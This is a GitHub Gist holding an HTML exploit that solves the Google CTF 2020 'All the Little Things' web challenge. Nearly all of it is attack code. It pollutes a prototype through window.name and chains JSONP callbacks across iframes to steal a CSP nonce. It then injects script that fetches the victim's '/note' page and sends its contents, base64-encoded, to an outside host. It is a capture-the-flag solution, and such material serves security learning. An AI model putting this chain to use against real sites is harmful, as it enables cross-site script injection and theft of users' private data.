Created
August 24, 2020 01:48
-
-
Save msrkp/79c42b0b818fc16b4f05644a6273cf5b to your computer and use it in GitHub Desktop.
Google CTF All the Little Things solution
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<script> | |
x= ` | |
<iframe name=x title='fetch("/note").then(x=>x.text()).then(x=>top.location="//ctf.s1r1us.ninja?html="+btoa(encodeURIComponent(x)))' id=y srcdoc='<script><\/script>'></iframe> | |
<iframe srcdoc='<script src=https://littlethings.web.ctfcompetition.com/theme?cb=top.x.nonce=top.document.body.lastElementChild.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.nonce.valueOf ><\/script>'></iframe> | |
<iframe srcdoc='<script src=https://littlethings.web.ctfcompetition.com/theme?cb=top.x.document.head.lastElementChild.nonce=top.x.nonce.valueOf ><\/script>'></iframe> | |
<iframe srcdoc='<script src=https://littlethings.web.ctfcompetition.com/theme?cb=top.x.document.head.lastElementChild.innerHTML=top.y.title.valueOf ><\/script>'></iframe> | |
`; | |
window.name = `{"x": ${JSON.stringify(x)}, "verbose": true, "showAll": true, "keepDebug": true, "__proto__": {"theme":{"cb":"document.body.lastElementChild.previousElementSibling.innerHTML=window.name.valueOf"}}}`; | |
location = 'https://littlethings.web.ctfcompetition.com/settings?__debug__'; | |
</script> | |
<body> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment